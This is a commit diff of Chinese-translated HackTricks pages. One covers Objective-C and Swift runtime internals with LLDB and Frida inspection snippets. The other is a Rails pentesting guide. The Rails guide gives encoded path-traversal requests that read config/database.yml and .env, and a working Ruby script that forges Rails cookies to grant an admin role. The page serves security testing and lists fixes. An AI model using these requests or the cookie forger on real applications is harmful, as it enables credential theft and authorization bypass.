Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 15:04:14 +00:00
parent 8c4bb94585
commit 1873998a64
2 changed files with 252 additions and 45 deletions

View File

@ -4,9 +4,9 @@
## CFRuntimeClass
CF\* 对象来自 CoreFoundation它提供了超过 50 种对象类,`CFString``CFNumber``CFAllocator`
CF* 对象来自 CoreFoundation后者提供了超过 50 种对象类,例`CFString``CFNumber``CFAllocator`
所有这些类都是 `CFRuntimeClass` 类的实例,当调用时,它返回一个指向 `__CFRuntimeClassTable` 的索引。CFRuntimeClass 在 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) 中定义:
所有这些类都是`CFRuntimeClass` 的实例,其在被调用时会返回 `__CFRuntimeClassTable` 的索引。CFRuntimeClass 在 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) 中定义:
```objectivec
// Some comments were added to the original code
@ -55,49 +55,60 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
## Objective-C
### 内存使用的部分
### Memory sections used
大多数由 ObjectiveC 运行时使用的数据在执行期间会发生变化,因此它使用内存中的一些 **\_\_DATA** 段:
Most of the data used by ObjectiveC runtime will change during execution, therefore it uses a number of sections from the MachO `__DATA` family of segments in memory. Historically these included:
- **`__objc_msgrefs`** (`message_ref_t`): 消息引用
- **`__objc_ivar`** (`ivar`): 实例变量
- **`__objc_data`** (`...`): 可变数据
- **`__objc_classrefs`** (`Class`): 类引用
- **`__objc_superrefs`** (`Class`): 超类引用
- **`__objc_protorefs`** (`protocol_t *`): 协议引用
- **`__objc_selrefs`** (`SEL`): 选择器引用
- **`__objc_const`** (`...`): 类 `r/o` 数据和其他(希望是)常量数据
- **`__objc_imageinfo`** (`version, flags`): 在图像加载期间使用:当前版本 `0`;标志指定预优化的 GC 支持等。
- **`__objc_protolist`** (`protocol_t *`): 协议列表
- **`__objc_nlcatlist`** (`category_t`): 指向此二进制文件中定义的非延迟类别的指针
- **`__objc_catlist`** (`category_t`): 指向此二进制文件中定义的类别的指针
- **`__objc_nlclslist`** (`classref_t`): 指向此二进制文件中定义的非延迟 Objective-C 类的指针
- **`__objc_classlist`** (`classref_t`): 指向此二进制文件中定义的所有 Objective-C 类的指针
- `__objc_msgrefs` (`message_ref_t`): 消息引用
- `__objc_ivar` (`ivar`): 实例变量
- `__objc_data` (`...`): 可变数据
- `__objc_classrefs` (`Class`): 类引用
- `__objc_superrefs` (`Class`): 超类引用
- `__objc_protorefs` (`protocol_t *`): 协议引用
- `__objc_selrefs` (`SEL`): selector 引用
- `__objc_const` (`...`): 类只读数据和其他(希望是)常量数据
- `__objc_imageinfo` (`version, flags`): 在镜像加载期间使用:当前 Version 为 `0`Flags 指定预优化的 GC 支持等
- `__objc_protolist` (`protocol_t *`): 协议列表
- `__objc_nlcatlist` (`category_t`): 指向此二进制中定义的 Non-Lazy Categories 的指针
- `__objc_catlist` (`category_t`): 指向此二进制中定义的 Categories 的指针
- `__objc_nlclslist` (`classref_t`): 指向此二进制中定义的 Non-Lazy ObjectiveC classes 的指针
- `__objc_classlist` (`classref_t`): 指向此二进制中定义的所有 ObjectiveC classes 的指针
它还使用 **`__TEXT`** 段中的一些部分来存储常量值,如果无法在此部分写入
它还使用 `__TEXT` 段中的几个节来存储常量
- **`__objc_methname`** (C-String): 方法名称
- **`__objc_classname`** (C-String): 类名称
- **`__objc_methtype`** (C-String): 方法类型
- `__objc_methname` (CString): 方法名
- `__objc_classname` (CString): 类名
- `__objc_methtype` (CString): 方法类型
### 类型编码
现代 macOS/iOS尤其是 Apple Silicon 上)还将 ObjectiveC/Swift 元数据放在:
Objective-C 使用一些混淆来编码简单和复杂类型的选择器和变量类型:
- `__DATA_CONST`: 不可变的 ObjectiveC 元数据,可以跨进程以只读方式共享(例如许多 `__objc_*` 列表现在存放在这里)。
- `__AUTH` / `__AUTH_CONST`: 包含在 arm64e 上于加载或使用时必须进行认证的指针Pointer Authentication的段。你还会在 `__AUTH_CONST` 中看到 `__auth_got`,而不是仅有的传统 `__la_symbol_ptr`/`__got`。在进行 instrumenting 或 hooking 时,记得要同时考虑现代二进制中的 `__got``__auth_got` 条目。
- 原始类型使用其类型的首字母 `i` 表示 `int``c` 表示 `char``l` 表示 `long`... 并在无符号的情况下使用大写字母(`L` 表示 `unsigned Long`)。
- 其他字母被使用或是特殊的数据类型,使用其他字母或符号,如 `q` 表示 `long long``b` 表示 `bitfields``B` 表示 `booleans``#` 表示 `classes``@` 表示 `id``*` 表示 `char pointers``^` 表示通用 `pointers``?` 表示 `undefined`
- 数组、结构和联合使用 `[`, `{``(`
For background on dyld preoptimization (e.g., selector uniquing and class/protocol precomputation) and why many of these sections are "already fixed up" when coming from the shared cache, check the Apple `objc-opt` sources and dyld shared cache notes. This affects where and how you can patch metadata at runtime.
#### 示例方法声明
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Type Encoding
ObjectiveC uses mangling to encode selector and variable types of simple and complex types:
- Primitive types use their first letter of the type `i` for `int`, `c` for `char`, `l` for `long`... and use the capital letter in case it's unsigned (`L` for `unsigned long`).
- Other data types use other letters or symbols like `q` for `long long`, `b` for 位域, `B` for 布尔值, `#` for 类, `@` for `id`, `*` for `char *`, `^` for 通用指针 and `?` for undefined.
- Arrays, structures and unions use `[`, `{` and `(` respectively.
#### Example Method Declaration
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
选择器将是 `processString:withOptions:andError:`
selector 将会`processString:withOptions:andError:`
#### 类型编码
- `id` 编码为 `@`
- `char *` 编码为 `*`
- `id` 编码为 `@`
- `char *` 编码为 `*`
该方法的完整类型编码为:
```less
@ -105,18 +116,18 @@ Objective-C 使用一些混淆来编码简单和复杂类型的选择器和变
```
#### 详细分解
1. **返回类型 (`NSString *`)**: 编码为 `@`,长度为 24
2. **`self` (对象实例)**: 编码为 `@`,偏移量为 0
3. **`_cmd` (选择器)**: 编码为 `:`,偏移量为 8
4. **第一个参数 (`char * input`)**: 编码为 `*`,偏移量为 16
5. **第二个参数 (`NSDictionary * options`)**: 编码为 `@`,偏移量为 20
6. **第三个参数 (`NSError ** error`)**: 编码为 `^@`,偏移量为 24
1. 返回类型 (`NSString *`)编码为 `@`,长度为 24
2. `self`(对象实例):编码为 `@`,偏移量为 0
3. `_cmd`(选择子):编码为 `:`,偏移量为 8
4. 第一个参数 (`char * input`)编码为 `*`,偏移量为 16
5. 第二个参数 (`NSDictionary * options`)编码为 `@`,偏移量为 20
6. 第三个参数 (`NSError ** error`):编码为 `^@`,偏移量为 24
**通过选择器和编码,你可以重建该方法。**
通过选择子和编码,你可以重建该方法。
### ****
### 类
Objective-C 中的类是一个具有属性、方法指针的结构体... 可以在 [**源代码**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) 中找到结构体 `objc_class`
ObjectiveC 中的类是具有属性、方法指针等的 C 结构体。可以在 [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) 中找到 struct `objc_class`
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
这个类使用 isa 字段的一些位来指示有关该类的信息。
这个类使用 `isa` 字段的一些位来表示关于类的信息。
然后,结构体有一个指向存储在磁盘上的 `class_ro_t` 结构体的指针,该结构体包含类的属性,如其名称、基本方法、属性和实例变量。\
在运行时,使用一个额外的结构体 `class_rw_t`,其中包含可以被更改的指针,例如方法、协议、属性...
然后,该 struct 有一个指向存储在磁盘上的 `class_ro_t` 结构的指针后者包含类的属性例如名称、base methods、properties 和实例变量。在运行时,还会使用一个额外的 `class_rw_t` 结构来保存可被修改的指针,例如 methods、protocols、properties。
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## 内存中的现代对象表示 (arm64e, tagged pointers, Swift)
### 非指针 `isa` 与指针认证 (arm64e)
在 Apple Silicon 和较新的运行时中ObjectiveC 的 `isa` 并不总是一个原始的类指针。在 arm64e 上,它是一个打包结构,可能还携带 Pointer Authentication Code (PAC)。根据平台不同,它可能包含诸如 `nonpointer``has_assoc``weakly_referenced``extra_rc` 等字段,以及类指针本身(可能被移位或带符号)。这意味着盲目地解引用 ObjectiveC 对象的前 8 个字节并不总能得到有效的 `Class` 指针。
在 arm64e 上调试时的实用注意事项:
- LLDB 在使用 `po` 打印 ObjectiveC 对象时通常会为你去除 PAC 位,但在处理原始指针时可能需要手动去除认证:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- MachO 中的许多函数/数据指针会位于 `__AUTH`/`__AUTH_CONST`,在使用前需要进行认证。如果你在进行 interposing 或 rebinding例如 fishhookstyle请确保除了传统的 `__got` 之外也处理 `__auth_got`
有关语言/ABI 保证以及 Clang/LLVM 提供的 `<ptrauth.h>` intrinsics 的深入解析,请参见本页末尾的参考资料。
### Tagged pointer 对象
一些 Foundation 类通过将对象的有效载荷直接编码在指针值中来避免堆分配tagged pointers。不同平台的检测方式不同例如在 arm64 上是最高有效位,而在 x86_64 macOS 上是最低有效位。tagged 对象在内存中没有常规的 `isa`;运行时会通过 tag 位解析类。在检查任意 `id` 值时:
- 使用运行时 API而不是直接探查 `isa` 字段:`object_getClass(obj)` / `[obj class]`
- 在 LLDB 中,直接 `po (id)0xADDR` 会正确打印 tagged pointer 实例,因为会咨询运行时以解析类。
### Swift 堆对象与元数据
纯 Swift 类也是对象,其头部指向 Swift 元数据(而不是 ObjectiveC 的 `isa`)。要在不修改进程的情况下检查运行中的 Swift 进程,可以使用 Swift toolchain 的 `swift-inspect`,它利用 Remote Mirror 库来读取运行时元数据:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
在对混合 Swift/ObjC 应用进行逆向时,这对于映射 Swift 堆对象和协议遵从性非常有用。
---
## 运行时检查速查表 (LLDB / Frida)
### LLDB
- 从原始指针打印对象或类:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- 在 breakpoint 中,从指向对象方法的 `self` 的指针检查 ObjectiveC class:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- 转储携带 ObjectiveC 元数据的节(注意:许多现在位于 `__DATA_CONST` / `__AUTH_CONST`
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- 读取已知类对象的内存以在反向工程方法列表时转向 `class_ro_t` / `class_rw_t`:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC and Swift)
Frida 提供高级的运行时桥接,非常适合在没有符号的情况下发现并对实时对象进行插桩:
- 枚举类和方法,在运行时解析实际类名,并拦截 ObjectiveC 选择器:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: 枚举 Swift 类型并与 Swift 实例交互(需要较新的 Frida在 Apple Silicon 目标上非常有用)。
---
## 参考资料
- Clang/LLVM: Pointer Authentication and the `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Apple objc 运行时头文件tagged pointers、nonpointer `isa` 等),例如 `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,99 @@
{{#include ../../banners/hacktricks-training.md}}
## 文件上传到 RCE
## File upload to RCE
正如在 [这篇文章](https://www.offsec.com/blog/cve-2024-46986/) 中所解释的,将 `.rb` 文件上传到敏感目录,如 `config/initializers/`,可能导致 Ruby on Rails 应用程序中的远程代码执行 (RCE)。
如 [this article](https://www.offsec.com/blog/cve-2024-46986/) 所述,将 `.rb` 文件上传到诸如 `config/initializers/` 的敏感目录可能导致 Ruby on Rails 应用发生远程代码执行 (RCE)。
提示:
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也存在风险(例如,`config/initializers/` 是经典位置)。如果你发现任意文件上传落到 `config/` 下的任意位置并随后被评估/require可能会在启动时获得 RCE。
- 寻找将用户控制的文件复制到容器镜像中并在 Rails 启动时加载的 dev/staging 构建。
## Active Storage image transformation → command execution (CVE-2025-24293)
当应用使用 Active Storage 且同时使用 `image_processing` + `mini_magick`并将不受信任的参数传递给图像转换方法时Rails 7.1.5.2 之前 / 7.2.2.2 之前 / 8.0.2.1 之前的版本可能允许命令注入,因为某些转换方法被错误地默认允许。
- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- 测试时可尝试
- 识别任何接受 variant/processing 选项、转换名称或任意 ImageMagick 参数的端点。
- 对 `params[:t]``params[:v]` 进行模糊测试,观察可疑错误或执行副作用。如果你能影响方法名或传递原始参数到 MiniMagick可能在图像处理主机上获得代码执行。
- 如果你只有对生成的 variants 的只读访问,尝试通过精心构造的 ImageMagick 操作进行盲提取。
- 修复/检测
- 如果你看到 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 并且同时使用 Active Storage + `image_processing` + `mini_magick` 且存在用户可控的转换则应视为可利用建议升级并对方法/参数实施严格白名单以及强化的 ImageMagick 策略
## Rack::Static LFI / path traversal (CVE-2025-27610)
如果目标栈直接或通过框架使用 Rack middleware`rack` 在 2.2.13、3.0.14、3.1.12 之前的版本在 `:root` 未设置/配置错误时允许通过 `Rack::Static` 进行本地文件包含。`PATH_INFO` 中的编码遍历可以暴露进程工作目录或意外的根目录下的文件。
- 搜索在 `config.ru` 或 middleware 栈中挂载 `Rack::Static` 的应用。对静态路径尝试编码遍历,例如:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
调整前缀以匹配配置的 `urls:`。如果应用返回文件内容,说明你很可能对已解析的 `:root` 下的任何内容具有 LFI。
- 缓解:升级 Rack确保 `:root` 仅指向公共文件目录并显式设置。
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails 使用从 `secret_key_base` 派生的密钥对 cookies 进行加密和签名。如果该值 leaked例如在仓库、日志或配置错误的凭证中通常可以解密、修改并重新加密 cookies。这通常会导致如果应用将角色、用户 ID 或功能标志存储在 cookies 中的授权绕过。
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
注意:
- 较旧的应用可能使用 AES-256-CBC 并以 `encrypted cookie` / `signed encrypted cookie` 作为 salts或使用 JSON/Marshal 序列化器。请相应地调整 salts、cipher 和 serializer。
- 在被攻破/评估时,轮换 `secret_key_base` 以使所有现有 cookies 失效。
## 另请参阅Ruby/Rails 特定漏洞)
- Ruby 反序列化与类污染:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Ruby 引擎中的模板注入ERB/Haml/Slim 等):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## 参考资料
- Rails 安全公告CVE-2025-24293 Active Storage 不安全的转换方法(已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static 本地文件包含 (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}